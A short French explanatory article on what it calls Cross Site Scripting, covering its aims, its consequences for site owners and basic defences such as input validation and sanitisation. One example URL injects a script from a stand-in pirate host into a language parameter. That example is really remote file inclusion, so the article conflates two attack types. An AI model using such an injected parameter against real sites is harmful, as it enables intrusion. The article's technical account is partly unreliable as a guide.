L'attaque la plus fréquente sur internet, elle utilise le fait que certains développeurs ne revérifient pas dans le code que le contenu d'une variable est bien le contenu attendu. Ces attaques appelées Cross Site Scripting (CSS ou aussi XSS) sont par définition possibles sur les sites dynamiques et non les sites statiques.
But
Ces attaques consistent à forcer le site web à afficher du code ou des scripts définis par les pirates. Le code utilisé est appelé malicieux. Cet affichage ou exécution permet au pirate d'interagir avec le site et son contenu sans pour autant avoir accès à l'administration. Il peut ainsi arriver à s'introduire et administrer votre contenu de façon insidieuse.
Principe
Prenons l'exemple d'un site Internet dynamique qui gère des langues. Si le site ne vérifie pas la variable placée pour sélectionner la langue on peut y inclure un script. Un pirate on pourrait appeler :
index.php?lng=http://www.sitepirate.net/script.txt
au lieu de
index.php?lng=fr
Le script appelé sera alors exécuté sur votre site, et donnera des informations sur votre site au pirate. Avec ces informations on peut imaginer que le pirate crée un script d'envoi sur votre site de fichiers lui appartenant.
Conséquences
Ce type d'attaque permet à un pirate de récupérer vos données et d'échanger avec votre site des informations permettant par exemple à un concurrent de renvoyer des clients sur son propre site ou le site du pirate.
Ce type d'incidents met à mal la relation de confiance entre vos visiteurs et votre site, cela peut vous faire perdre des clients et augmenter les critiques négatives de votre site, ces remarques seront difficiles à atténuer.
Protection
En tant l'utilisateur vous pouvez vous prémunir contre ces attaques en configurant le navigateur de manière à empêcher l'exécution des langages de scripts. Mais cette configuration est contraignante et de nombreux sites vous seront alors inaccessibles.
En tant que webmaster il faut coder et mettre en place un site non vulnérable. Pour ce faire il faut penser à :
- Valider le format des données entrées par les utilisateurs
- Crypter et encoder les données utilisateurs
On parle de sanitarisation qui désigne toutes les précautions permettant de rendre sûr une donnée saisie par un utilisateur.
Articles en rapport
Introduction au black hat
Les types d'attaques sur un site